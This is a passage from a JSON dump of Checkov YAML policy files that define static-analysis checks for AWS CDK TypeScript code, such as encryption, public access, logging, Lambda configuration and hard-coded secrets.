== \"aws-cdk-lib\"\n    - pattern: \"$X = { <ANY> }\"\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_glue.CfnCrawlerProps\n        - not_pattern: |\n            $X = { <ANY>, crawlerSecurityConfiguration: $VAL, <ANY> }\n    - pattern: \"$X = { <ANY> }\"\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_glue.CfnDevEndpointProps\n        - not_pattern: |\n            $X = { <ANY>, securityConfiguration: $VAL, <ANY> }\n    - pattern: \"$X = { <ANY> }\"\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_glue.CfnJobProps\n        - not_pattern: |\n            $X = { <ANY>, securityConfiguration: $VAL, <ANY> }\n\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/IAMPolicyAttachedToGroupOrRoles.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_40\n  name: Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.)\n  category: IAM\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: |\n        new $PACKAGE.aws_iam.Policy(<ANY>, <ANY>, { <ANY>, users: <ANY>, <ANY> })\n      conditions:\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        $P = new $PACKAGE.aws_iam.Policy(<ANY>)\n        <ANY>\n        $P.attachToUser(<ANY>)\n      conditions:\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: \"$X = { <ANY>, users :<ANY>, <ANY> }\"\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_iam.PolicyProps\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/KinesisStreamEncryptionType.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_43\n  name: Ensure Kinesis Stream is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_kinesis.CfnStream(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_kinesis.CfnStream(<ANY>, <ANY>, { <ANY>, streamEncryption: { <ANY>, encryptionType: \"KMS\", <ANY> }, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: \"$X = { <ANY> }\"\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, streamEncryption: { <ANY>, encryptionType: \"KMS\", <ANY> }, <ANY> }\n        - metavariable: $X\n          type: aws-cdk-lib.aws_kinesis.CfnStreamProps\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/LambdaDLQConfigured.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_116\n  name: Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY>, deadLetterQueue: <ANY>, <ANY>, deadLetterQueueEnabled: true ,<ANY>})\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY>, deadLetterConfig: <ANY>, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY>, deadLetterQueue: <ANY>, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: $X =  { <ANY> }\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, deadLetterQueue: <ANY>, <ANY>, deadLetterQueueEnabled: true ,<ANY>}\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.FunctionProps\n    - pattern: $X =  { <ANY> }\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, deadLetterConfig: <ANY>, <ANY> }\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.CfnFunctionProps\n    - pattern: $X =  { <ANY> }\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, deadLetterQueue: <ANY>, <ANY> }\n        - metavariable: $X\n          type: aws-cdk-lib.aws_sam.CfnFunctionProps"
  },
  {
    "path": "checkov/cdk/checks/typescript/LambdaEnvironmentCredentials.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_45\n  name: Ensure no hard-coded secrets exist in lambda environment\n  category: SECRETS\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - patterns:\n        or:\n          - pattern: |\n              new $PACKAGE.aws_lambda.Function(<ANY> ,<ANY>, { <ANY>, environment: { $ARG1:'$ARG2' }, <ANY> })\n          - pattern: |\n              new $PACKAGE.aws_lambda.CfnFunction(<ANY> ,<ANY>, { <ANY>, environment: { <ANY>, variables: { $ARG1:'$ARG2'}, <ANY>}, <ANY> })\n          - pattern: |\n              new $PACKAGE.aws_sam.CfnFunction(<ANY> ,<ANY>, { <ANY>, environment: { <ANY>, variables: { $ARG1:'$ARG2'}, <ANY>}, <ANY> })\n      conditions:\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        $X = { <ANY>, environment: { $ARG1:'$ARG2' }, <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.FunctionProps\n    - pattern: |\n        $X =  { <ANY>, environment: { <ANY>, variables: { $ARG1:'$ARG2'}, <ANY>}, <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.CfnFunctionProps\n    - pattern: |\n        $X = { <ANY>, environment: { <ANY>, variables: { $ARG1:'$ARG2'}, <ANY>}, <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_sam.CfnFunctionProps\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/LambdaEnvironmentEncryptionSettings.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_173\n  name: Check encryption settings for Lambda environmental variable\n  category: Encryption\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: |\n        new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY>, environment: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY> } )\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY>, environment: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY>, environmentEncryption: $KMS, <ANY> })\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY>, environmentEncryption: $KMS, <ANY>, environment: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY>}, <ANY>}, <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY>, environment: { <ANY>, variables: { $ARG1:'$ARG2' }, <ANY> }, <ANY>, kmsKeyArn: $KMS, <ANY> })\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY>, kmsKeyArn: $KMS, <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY>}, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY>, environment: { <ANY>, variables: { $ARG1:'$ARG2'}, <ANY>}, <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY>, environment: { <ANY>, variables: { $ARG1:'$ARG2'}, <ANY>, kmsKeyArn: $KMS, <ANY> }, <ANY> })\n        - not_pattern: |\n            new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY>, kmsKeyArn: $KMS, <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        $X = { <ANY>, environment: { $ARG1:'$ARG2' }, <ANY> }\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, environment: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY>, environmentEncryption: $KMS, <ANY> }\n        - not_pattern: |\n            $X = { <ANY>, environmentEncryption: $KMS, <ANY>, environment: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY> }\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.FunctionProps\n    - pattern: |\n        $X =  { <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY>}, <ANY> }\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY> }, <ANY>, kmsKeyArn: $KMS, <ANY> }\n        - not_pattern: |\n            $X = { <ANY>, kmsKeyArn: $KMS, <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY> }, <ANY> }\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.CfnFunctionProps\n    - pattern: |\n        $X = { <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY>}, <ANY> }\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY>, kmsKeyArn: $KMS, <ANY> }, <ANY> }\n        - not_pattern: |\n            $X = { <ANY>, kmsKeyArn: $KMS, <ANY>, environment: { <ANY>, variables: { <ANY>, $ARG1:'$ARG2', <ANY> }, <ANY> }, <ANY> }\n        - metavariable: $X\n          type: aws-cdk-lib.aws_sam.CfnFunctionProps"
  },
  {
    "path": "checkov/cdk/checks/typescript/LambdaFunctionLevelConcurrentExecutionLimit.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_115\n  name: Ensure that AWS Lambda function is configured for function-level concurrent execution limit\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY>, reservedConcurrentExecutions: $NUM, <ANY> }, <ANY>)\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY>, \"reservedConcurrentExecutions\": $NUM, <ANY> }, <ANY>)\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY>, reservedConcurrentExecutions: $NUM, <ANY> }, <ANY>)\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        $X = { <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.FunctionProps\n        - not_pattern: |\n            $X = { <ANY>, reservedConcurrentExecutions: $NUM, <ANY> }\n    - pattern: |\n        $X =  { <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.CfnFunctionProps\n        - not_pattern: |\n            $X = { <ANY>, reservedConcurrentExecutions: $NUM, <ANY> }\n    - pattern: |\n        $X = { <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_sam.CfnFunctionProps\n        - not_pattern: |\n            $X = { <ANY>, reservedConcurrentExecutions: $NUM, <ANY> }\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/LambdaInVPC.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_117\n  name: Ensure that AWS Lambda function is configured inside a VPC\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.Function(<ANY>, <ANY>, { <ANY>, vpc: <ANY>, <ANY> } )\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_lambda.CfnFunction(<ANY>, <ANY>, { <ANY>, vpcConfig: <ANY>, <ANY> } )\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_sam.CfnFunction(<ANY>, <ANY>, { <ANY>, vpcConfig: <ANY>, <ANY> } )\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        $X = { <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.FunctionProps\n        - not_pattern: |\n            $X = { <ANY>, vpc: <ANY>, <ANY> }\n    - pattern: |\n        $X =  { <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_lambda.CfnFunctionProps\n        - not_pattern: |\n            $X = { <ANY>, vpcConfig: <ANY>, <ANY> }\n    - pattern: |\n        $X = { <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_sam.CfnFunctionProps\n        - not_pattern: |\n            $X = { <ANY>, vpcConfig: <ANY>, <ANY> }\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/LaunchConfigurationEBSEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_8\n  name: Ensure all data stored in the Launch configuration EBS is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: |\n        new $PACKAGE.aws_autoscaling.CfnLaunchConfiguration(<ANY>, <ANY>, { <ANY>, blockDeviceMappings: [<ANY>, { <ANY>, 'ebs':{ <ANY>, 'encrypted': false, <ANY>}, <ANY>} ,<ANY>], <ANY> })\n      conditions:\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        $X = { <ANY>, blockDeviceMappings: [<ANY>, { <ANY>, 'ebs':{ <ANY>, 'encrypted': false, <ANY>}, <ANY>} ,<ANY>], <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_autoscaling.CfnLaunchConfigurationProps\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/NeptuneClusterStorageEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_44\n  name: Ensure Neptune storage is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_neptune.CfnDBCluster(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_neptune.CfnDBCluster(<ANY>, <ANY>, { <ANY>, storageEncrypted: true, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        $X = { <ANY> }\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_neptune.CfnDBClusterProps\n        - not_pattern: |\n            $X = { <ANY>, storageEncrypted: true, <ANY> }\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/RDSEnhancedMonitorEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_118\n  name: Ensure that enhanced monitoring is enabled for Amazon RDS instances\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $PACKAGE.aws_rds.DatabaseInstance(<ANY>, <ANY>, { <ANY> })\n  conditions:\n    - not_pattern: |\n        new $PACKAGE.aws_rds.DatabaseInstance(<ANY>, <ANY>, { <ANY>, monitoringInterval: $COUNT, <ANY> })\n    - metavariable: $COUNT # bug: should perform with not_pattern and not after BCE-33034\n      comparison: $COUNT > 0\n    - metavariable: $PACKAGE\n      comparison: $PACKAGE == \"aws-cdk-lib\"\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/RDSMultiAZEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_157\n  name: Ensure that RDS instances have Multi-AZ enabled\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  or:\n    - pattern: new $FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(CfnDBInstance|DatabaseInstance)\n        - not_pattern: |\n            'new $FUNC(<ANY>, multiAZ: true ,<ANY>)'\n    - pattern: new $RDS.$FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(CfnDBInstance|DatabaseInstance)\n        - not_pattern: |\n            'new $RDS.$FUNC(<ANY>, multiAZ: true ,<ANY>)'"
  },
  {
    "path": "checkov/cdk/checks/typescript/RDSPubliclyAccessible.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_17 \n  name: Ensure all data stored in RDS is not publicly accessible\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  or:\n    - pattern: new $FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(CfnDBInstance|DatabaseInstance)\n        - not_pattern: |\n            'new $FUNC(<ANY>, publicly_accessible: true ,<ANY>)'\n    - pattern: new $RDS.$FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(CfnDBInstance|DatabaseInstance)\n        - not_pattern: |\n            'new $RDS.$FUNC(<ANY>, publicly_accessible: true ,<ANY>)'\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/RedShiftSSL.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_105\n  name: Ensure Redshift uses SSL\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  or:\n    - pattern: new $REDSHIFT.CfnClusterParameterGroup(<ANY>)\n      conditions:\n        - not_pattern: |\n            new $REDSHIFT.CfnClusterParameterGroup(<ANY>, {<ANY>, parameters: [<ANY>, {<ANY>, parameterName: 'require_ssl' ,<ANY>, parameterValue: 'true', <ANY>} ,<ANY>], <ANY>}, <ANY>)\n        - not_pattern: |\n            new $REDSHIFT.CfnClusterParameterGroup(<ANY>, {<ANY>, parameters: [<ANY>, {<ANY>, parameterValue: 'true', <ANY>, parameterName: 'require_ssl' ,<ANY>} ,<ANY>], <ANY>}, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/RedshiftClusterEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_64\n  name: Ensure all data stored in the Redshift cluster is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $REDSHIFT.CfnCluster(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $REDSHIFT.CfnCluster(<ANY>, {<ANY>, encrypted: true, <ANY>} ,<ANY>)\n      - pattern: new $REDSHIFT.Cluster(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $REDSHIFT.Cluster(<ANY>, {<ANY>, encrypted: true, <ANY>} ,<ANY>)\n      - pattern: new CfnCluster(<ANY>)\n        conditions:\n          - not_pattern: |\n              new CfnCluster(<ANY>, {<ANY>, encrypted: true, <ANY>} ,<ANY>)\n      - pattern: new Cluster(<ANY>)\n        conditions:\n          - not_pattern: |\n              new Cluster(<ANY>, {<ANY>, encrypted: true, <ANY>} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/RedshiftClusterLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_71\n  name: Ensure Redshift Cluster logging is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  or:\n    - pattern: new $FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(CfnCluster|Cluster|ClusterProps)\n        - not_pattern: |\n            'new $FUNC(<ANY>, logging_properties: $FUNC.LoggingPropertiesProperty = {<ANY>, bucketName:$ARG, <ANY>} ,<ANY>)'\n    - pattern: new $REDSHIFT.$FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(CfnCluster|Cluster|ClusterProps)\n        - not_pattern: |\n            'new $REDSHIFT.$FUNC(<ANY>, logging_properties: $REDSHIFT.$FUNC.LoggingPropertiesProperty = {<ANY>, bucketName:$ARG, <ANY>} ,<ANY>)'"
  },
  {
    "path": "checkov/cdk/checks/typescript/RedshiftClusterPubliclyAccessible.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_87\n  name: Redshift cluster should not be publicly accessible\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: |\n          new $REDSHIFT.CfnCluster(<ANY>, {<ANY>, publiclyAccessible: true, <ANY>} ,<ANY>)\n      - pattern: |\n          new $REDSHIFT.Cluster(<ANY>, {<ANY>, publiclyAccessible: true, <ANY>} ,<ANY>)\n      - pattern: |\n          new CfnCluster(<ANY>, {<ANY>, publiclyAccessible: true, <ANY>} ,<ANY>)\n      - pattern: |\n          new Cluster(<ANY>, {<ANY>, publiclyAccessible: true, <ANY>} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/RedshiftInEc2ClassicMode.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_154\n  name: Ensure Redshift is not deployed outside of a VPC\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  or:\n    - pattern: new $FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(CfnCluster|Cluster|ClusterProps)\n        - not_pattern: |\n            'new $FUNC(<ANY>, clusterSubnetGroupName: $ARG ,<ANY>)'\n    - pattern: new $REDSHIFT.$FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(CfnCluster|Cluster|ClusterProps)\n        - not_pattern: |\n            'new $REDSHIFT.$FUNC(<ANY>, clusterSubnetGroupName: $ARG ,<ANY>)'"
  },
  {
    "path": "checkov/cdk/checks/typescript/S3BlockPublicACLs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_53\n  name: Ensure S3 bucket has block public ACLS enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $S3.Bucket(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $S3.Bucket(<ANY>, { <ANY>, blockPublicAccess: $S3.BlockPublicAccess.BLOCK_ACLS , <ANY> } ,<ANY>)\n          - not_pattern: |\n              new $S3.Bucket(<ANY>, { <ANY>, blockPublicAccess: $S3.BlockPublicAccess.BLOCK_ALL , <ANY> } ,<ANY>)\n      - pattern: new Bucket(<ANY>)\n        conditions:\n          - not_pattern: |\n              new Bucket(<ANY>, { <ANY>, blockPublicAccess: BlockPublicAccess.BLOCK_ACLS , <ANY> } ,<ANY>)\n          - not_pattern: |\n              new Bucket(<ANY>, { <ANY>, blockPublicAccess: BlockPublicAccess.BLOCK_ALL , <ANY> } ,<ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/S3BlockPublicPolicy.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_54\n  name: Ensure S3 bucket has block public policy enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - javascript\n    - typescript\ndefinition:\n  or:\n    - pattern: new $FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(Bucket|CfnBucket)\n        - patterns:\n            or:\n              - not_pattern: |\n                  'new $FUNC(<ANY>, publicReadAccess: false ,<ANY>)'\n              - not_pattern: |\n                  \"new $FUNC(<ANY>, accessControl: 'Private' ,<ANY>)\"\n    - pattern: new $S3.$FUNC(<ANY>)\n      conditions:\n        - metavariable: $FUNC\n          regex: (?i)(Bucket|CfnBucket)\n        - patterns:\n            or:\n              - not_pattern: |\n                  'new $S3.$FUNC(<ANY>, publicReadAccess: false ,<ANY>)'\n              - not_pattern: |\n                  \"new $S3.$FUNC(<ANY>, accessControl: 'Private' ,<ANY>)\""
  },
  {
    "path": "checkov/cdk/checks/typescript/S3BucketEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_19\n  name: Ensure all data stored in the S3 bucket is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.$FUNC(<ANY>)\n  conditions:\n    - metavariable: $FUNC\n      regex: (?i)(Bucket|CfnBucket)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: $AWS.BucketEncryption.KMS_MANAGED, <ANY> } ,<ANY>)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: $AWS.BucketEncryption.S3_MANAGED, <ANY> } ,<ANY>)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: $AWS.BucketEncryption.KMS, <ANY> } ,<ANY>)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: BucketEncryption.KMS_MANAGED, <ANY> } ,<ANY>)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: BucketEncryption.S3_MANAGED, <ANY> } ,<ANY>)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: BucketEncryption.KMS, <ANY> } ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/S3BucketKMSEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_145\n  name: Ensure that S3 buckets are encrypted with KMS by default\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.$FUNC(<ANY>)\n  conditions:\n    - metavariable: $FUNC\n      regex: (?i)(Bucket|CfnBucket)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: $AWS.BucketEncryption.KMS_MANAGED, <ANY> } ,<ANY>)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: $AWS.BucketEncryption.KMS, <ANY> } ,<ANY>)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: BucketEncryption.KMS_MANAGED, <ANY> } ,<ANY>)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, encryption: BucketEncryption.KMS, <ANY> } ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/S3BucketLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_18\n  name: Ensure the S3 bucket has access logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.$FUNC(<ANY>)\n  conditions:\n    - metavariable: $FUNC\n      regex: (Bucket|CfnBucket)\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, serverAccessLogsBucket: <ANY> , <ANY> } ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/S3BucketPublicAccessBlock.yaml",
